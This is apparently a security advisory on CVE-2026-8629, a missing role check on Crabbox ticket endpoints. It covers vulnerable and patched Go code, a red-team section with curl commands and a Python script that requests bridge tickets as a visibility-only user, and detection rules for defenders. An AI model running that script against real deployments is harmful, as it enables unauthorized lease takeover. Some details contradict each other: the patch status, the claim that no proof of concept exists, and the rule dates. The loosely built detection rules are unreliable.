CVE-2026-8629

Executive Summary

CVE-2026-8629 is a critical privilege escalation vulnerability in Crabbox versions prior to v0.12.0. The flaw resides in insufficient access control checks on three specific API endpoints: /v1/leases/:id/code/ticket, /v1/leases/:id/webvnc/ticket, and /v1/leases/:id/egress/ticket. An attacker with only shared visibility permissions can send POST requests to these endpoints to obtain bridge-agent tickets, effectively impersonating trusted lease-side bridges. This allows the attacker to gain unauthorized access to Code, WebVNC, and Egress agent capabilities, leading to full compromise of the affected lease. The CVSS score of 8.1 (High) reflects the low attack complexity and high impact on confidentiality, integrity, and availability. No public proof-of-concept (PoC) or exploit code has been released as of this analysis.

Supply Chain & Package Security

Crabbox is a Go-based application. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application logic. However, organizations using Crabbox should verify the integrity of their deployment binaries and ensure they are sourced from official releases. The lack of a patch status (UNKNOWN/UNPATCHED) indicates that the vendor may not have released a fix, or the advisory is pending. Users should monitor the official Crabbox repository for updates.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to send crafted POST requests.
• Privileges Required (PR): Low (L) – The attacker must have a valid account with visibility-only permissions.
• User Interaction (UI): None (N) – No user action is needed for exploitation.
• Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): High (H) – The attacker can obtain sensitive bridge-agent tickets.
• Integrity (I): High (H) – The attacker can impersonate trusted bridges and modify lease configurations.
• Availability (A): High (H) – The attacker can disrupt lease operations by abusing egress tickets.

Threat Level: High. The low privileges required and network exploitability make this a serious risk for multi-tenant Crabbox deployments.

Deep Dive & Mechanics

The vulnerability stems from missing authorization checks on three ticket-generation endpoints. In Crabbox, leases are isolated resources, and users are assigned roles (e.g., visibility-only, operator, admin). The intended behavior is that only users with appropriate permissions (e.g., operator or admin) can generate bridge-agent tickets for Code, WebVNC, and Egress services. However, the endpoints /v1/leases/:id/code/ticket, /v1/leases/:id/webvnc/ticket, and /v1/leases/:id/egress/ticket do not validate the user's role before issuing tickets.

An attacker with visibility-only access can:

1. Authenticate to the Crabbox API.
2. Send a POST request to any of the three endpoints with a valid lease ID.
3. Receive a bridge-agent ticket that grants full access to the corresponding service (Code, WebVNC, or Egress).
4. Use the ticket to impersonate a trusted bridge, gaining unauthorized control over the lease.

The attack does not require any special conditions or user interaction. The only prerequisite is a valid session with visibility permissions, which is often granted to read-only users in multi-tenant environments.

Vulnerable vs. Patched Code

Vulnerable Code (pre-v0.12.0):

// Vulnerable handler - no role check
func (h *Handler) CreateTicket(w http.ResponseWriter, r *http.Request) {
    leaseID := chi.URLParam(r, "id")
    ticketType := chi.URLParam(r, "type") // code, webvnc, egress
    // Missing: if !hasPermission(r.Context(), leaseID, "operator") { ... }
    ticket, err := h.ticketService.Generate(leaseID, ticketType)
    if err != nil {
        http.Error(w, err.Error(), http.StatusInternalServerError)
        return
    }
    json.NewEncoder(w).Encode(ticket)
}

Patched Code (v0.12.0+):

// Patched handler with role check
func (h *Handler) CreateTicket(w http.ResponseWriter, r *http.Request) {
    leaseID := chi.URLParam(r, "id")
    ticketType := chi.URLParam(r, "type")
    // Added authorization check
    if !hasPermission(r.Context(), leaseID, "operator") {
        http.Error(w, "Forbidden", http.StatusForbidden)
        return
    }
    ticket, err := h.ticketService.Generate(leaseID, ticketType)
    if err != nil {
        http.Error(w, err.Error(), http.StatusInternalServerError)
        return
    }
    json.NewEncoder(w).Encode(ticket)
}

The patch adds a call to hasPermission() which verifies that the authenticated user has at least "operator" role on the specified lease. Without this check, any authenticated user can generate tickets.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy Crabbox v0.11.0 (or earlier) in a Docker container.
2. Create two users: one with "visibility-only" role (attacker) and one with "operator" role (victim).
3. Create a lease and assign the visibility-only user to it.

Exploitation Steps:

1. Authenticate as the visibility-only user and obtain a session token.
2. Identify a target lease ID (e.g., via the /v1/leases endpoint).
3. Send a POST request to generate a Code ticket:

   curl -X POST https://crabbox.example.com/v1/leases/12345/code/ticket \
     -H "Authorization: Bearer <attacker_token>"
   

4. The response will contain a bridge-agent ticket:

   {"ticket": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
   

5. Use the ticket to connect to the Code service as a trusted bridge:

   curl -H "Authorization: Bearer <ticket>" https://crabbox.example.com/code/leases/12345
   

6. Repeat for WebVNC and Egress endpoints to gain full control.

Automation Script (Python):

import requests

target = "https://crabbox.example.com"
lease_id = "12345"
token = "<attacker_token>"

headers = {"Authorization": f"Bearer {token}"}

for endpoint in ["code", "webvnc", "egress"]:
    url = f"{target}/v1/leases/{lease_id}/{endpoint}/ticket"
    resp = requests.post(url, headers=headers)
    if resp.status_code == 200:
        ticket = resp.json()["ticket"]
        print(f"[+] {endpoint} ticket: {ticket}")
    else:
        print(f"[-] Failed to get {endpoint} ticket: {resp.status_code}")

Blue Team

Detection:

• Monitor API logs for POST requests to /v1/leases/*/code/ticket, /v1/leases/*/webvnc/ticket, and /v1/leases/*/egress/ticket from users with visibility-only roles.
• Alert on any ticket generation by non-operator users.
• Correlate ticket usage with subsequent access to Code, WebVNC, or Egress services.

Hunting:

• Search for anomalous ticket generation patterns, especially from IPs not associated with operator accounts.
• Review lease access logs for unauthorized bridge connections.

Mitigation:

• Immediately upgrade to Crabbox v0.12.0 or later.
• If patching is not possible, implement a WAF rule to block POST requests to the vulnerable endpoints from visibility-only users.
• Restrict API access to trusted networks and enforce least privilege.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /v1/leases/*/code/ticket, /v1/leases/*/webvnc/ticket, /v1/leases/*/egress/ticket from low-privilege users.
  • Unusual bridge-agent ticket usage from IPs not in the operator whitelist.
• File IOCs:
  • Log entries containing ticket and visibility in close proximity.
• Behavioral IOCs:
  • A user with visibility-only role generating multiple tickets in a short time.
  • Tickets being used to access services that the user should not have access to.

Detection Engineering

YARA Rule

rule CVE_2026_8629_Crabbox_Ticket_Abuse {
    meta:
        description = "Detects exploitation of CVE-2026-8629 by identifying unauthorized ticket generation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-8629"
    strings:
        $s1 = "/v1/leases/" ascii
        $s2 = "/code/ticket" ascii
        $s3 = "/webvnc/ticket" ascii
        $s4 = "/egress/ticket" ascii
        $s5 = "POST" ascii
    condition:
        all of ($s1, $s5) and 1 of ($s2, $s3, $s4)
}

Sigma Rule

title: CVE-2026-8629 - Crabbox Privilege Escalation via Ticket Endpoints
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to Crabbox ticket endpoints from users with insufficient privileges
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-8629
logsource:
    category: webserver
    product: crabbox
detection:
    selection:
        http.method: POST
        http.url|contains:
            - "/v1/leases/"
            - "/code/ticket"
            - "/webvnc/ticket"
            - "/egress/ticket"
    condition: selection
falsepositives:
    - Legitimate operator actions
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-8629 - Crabbox Privilege Escalation via Ticket Endpoints";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/v1/leases/";
    http_uri;
    content:"/ticket";
    http_uri;
    pcre:"/(code|webvnc|egress)\/ticket$/U";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2026-8629;
)

Remediation & Mitigation

1. Immediate Action: Upgrade to Crabbox v0.12.0 or later. If an upgrade is not possible, apply a virtual patch using a WAF to block POST requests to the vulnerable endpoints from users without operator roles.
2. Configuration: Review and tighten role-based access control (RBAC) policies. Ensure that visibility-only users cannot generate tickets.
3. Monitoring: Enable detailed logging for all API requests and set up alerts for unauthorized ticket generation.
4. Network Segmentation: Restrict API access to trusted networks and use VPNs for administrative access.
5. Incident Response: If exploitation is suspected, revoke all active tickets and rotate API tokens. Conduct a forensic analysis to determine the scope of the breach.

Valters IT